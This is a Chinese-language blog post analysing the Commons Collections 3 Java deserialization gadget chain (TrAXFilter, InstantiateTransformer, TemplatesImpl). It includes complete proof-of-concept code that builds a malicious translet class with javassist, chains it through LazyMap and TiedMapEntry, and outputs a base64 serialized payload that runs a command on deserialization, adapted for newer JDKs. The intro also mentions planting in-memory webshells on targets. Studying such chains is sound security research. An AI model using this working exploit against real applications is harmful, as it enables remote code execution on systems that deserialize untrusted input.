Java / Web / 反序列化 · 2022年2月27日 0

CommonsCollections3分析

简介

CC3这条链使用了TemplatesImpl加载字节码,ysoserial中CC3后半段和CC1是一样的。使用TemplatesImpl加载字节码可以执行任意Java代码,在目标主机不可出网时可以向目标主机写内存马进行回显。

InstantiateTransformer

它的transform()方法可以利用反射实例化任意类:

public Object transform(Object input){
   //somecode
   Constructor con = ((Class)input).getConstructor(this.iParamTypes);
   return con.newInstance(this.iArgs);
   //somecode
}

TrAXFilter

这个类在实例化时可以调用到TransformerImpl的newTransformer()方法.

public TrAXFilter(Templates templates)  throws TransformerConfigurationException
{
   _templates = templates;
   _transformer = (TransformerImpl) templates.newTransformer();
   _transformerHandler = new TransformerHandlerImpl(_transformer);
   _overrideDefaultParser = _transformer.overrideDefaultParser();
}

CC3中使用了TrAXFilter来代替InvokerTransformer进行函数调用。

TemplatesImpl

这个类在FastJson反序列化时也有遇到过,它内部实现了一个自定义类加载器,可用于加载字节码,在调用其newTransformer()方法时可以调用到getTransletInstance()方法最终会使用TransletClassLoader这个类加载器加载_bytecodes的字节码:

static final class TransletClassLoader extends ClassLoader {
   private final Map<String,Class> _loadedExternalExtensionFunctions;
   TransletClassLoader(ClassLoader parent) {
       super(parent);
       _loadedExternalExtensionFunctions = null;
  }
   TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
       super(parent);
       _loadedExternalExtensionFunctions = mapEF;
  }
   public Class<?> loadClass(String name) throws ClassNotFoundException {
       Class<?> ret = null;
       // The _loadedExternalExtensionFunctions will be empty when the
       // SecurityManager is not set and the FSP is turned off
       if (_loadedExternalExtensionFunctions != null) {
           ret = _loadedExternalExtensionFunctions.get(name);
      }
       if (ret == null) {
           ret = super.loadClass(name);
      }
       return ret;
  }
   /**
   * Access to final protected superclass member from outer class.
   */
   Class defineClass(final byte[] b) {
       return defineClass(null, b, 0, b.length);
  }
}

但在加载字节码之前有一段代码用于判断加载的类是否为com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet,如果不是则会抛出异常:

image-20220121230734198

之后会加载字节码并实例化,然后执行命令。

使用javassist构造一个继承自AbstractTranslet的恶意类然后生成TemplatesImpl:

public class TemplatesImpl_Demo {
   public static void setValue(String name,Object target,Object value){
       try{
           Field field = target.getClass().getDeclaredField(name);
           field.setAccessible(true);
           field.set(target,value);
      }catch (Exception ignore){}
  }
   public static byte[] createEvil()throws Exception{
       ClassPool pool = ClassPool.getDefault();
       CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName());
       CtClass clazz = pool.makeClass("evil");
       String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});";
       clazz.makeClassInitializer().insertBefore(cmd);
       clazz.setSuperclass(abstractTranslet);
       return clazz.toBytecode();
  }
   public static void main(String[] args) throws Exception{
       TemplatesImpl tmp = new TemplatesImpl();
       setValue("_bytecodes",tmp,new byte[][]{createEvil()});
       setValue("_name",tmp,"a");
       setValue("_tfactory",tmp,new TransformerFactoryImpl());
       tmp.newTransformer();
  }
}

在构造好TemplatesImpl后调用newTransformer()方法可以看到成功弹出计算器: image-20220227232538602

完整代码

ysoserial中的CC3在高版本JDK下是无法利用的,这里可以按照CC6的方式对CC3这条链进行改造,完整POC如下:

public class cc3 {
   public static void setValue(String name, Object target, Object value) {
       try {
           Field field = target.getClass().getDeclaredField(name);
           field.setAccessible(true);
           field.set(target, value);
      } catch (Exception ignore) {
      }
  }
​
   public static byte[] createEvil() throws Exception {
       ClassPool pool = ClassPool.getDefault();
       CtClass abstractTranslet = pool.get(AbstractTranslet.class.getName());
       CtClass clazz = pool.makeClass("evil");
       String cmd = "java.lang.Runtime.getRuntime().exec(new String[]{\"calc\"});";
       clazz.makeClassInitializer().insertBefore(cmd);
       clazz.setSuperclass(abstractTranslet);
       return clazz.toBytecode();
  }
​
   public static void main(String[] args) throws Exception {
       TemplatesImpl templates = new TemplatesImpl();
       setValue("_bytecodes", templates, new byte[][]{createEvil()});
       setValue("_name", templates, "a");
       setValue("_tfactory", templates, new TransformerFactoryImpl());
       Transformer[] transformers = new Transformer[]{
               new ConstantTransformer(TrAXFilter.class),
               new InstantiateTransformer(
                       new Class[]{Templates.class},
                       new Object[]{templates}
              )
      };
       ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
       Map lazymap = LazyMap.decorate(new HashMap(),chainedTransformer);
       TiedMapEntry tme = new TiedMapEntry(new HashMap(),null);
       HashMap hm = new HashMap();
       hm.put(tme,null);
       setValue("map",tme,lazymap);
       //payload生成
       ByteArrayOutputStream bos = new ByteArrayOutputStream();
       new ObjectOutputStream(bos).writeObject(hm);
       String paylaod = new String(
               Base64.getEncoder().encode(bos.toByteArray())
      );
       System.out.println(paylaod);
       //payload验证
       ObjectInputStream ois = new ObjectInputStream(
               new ByteArrayInputStream(
                       Base64.getDecoder().decode(paylaod)
              )
      );
       ois.readObject();
  }
}

在高版本JDK下也能使用了。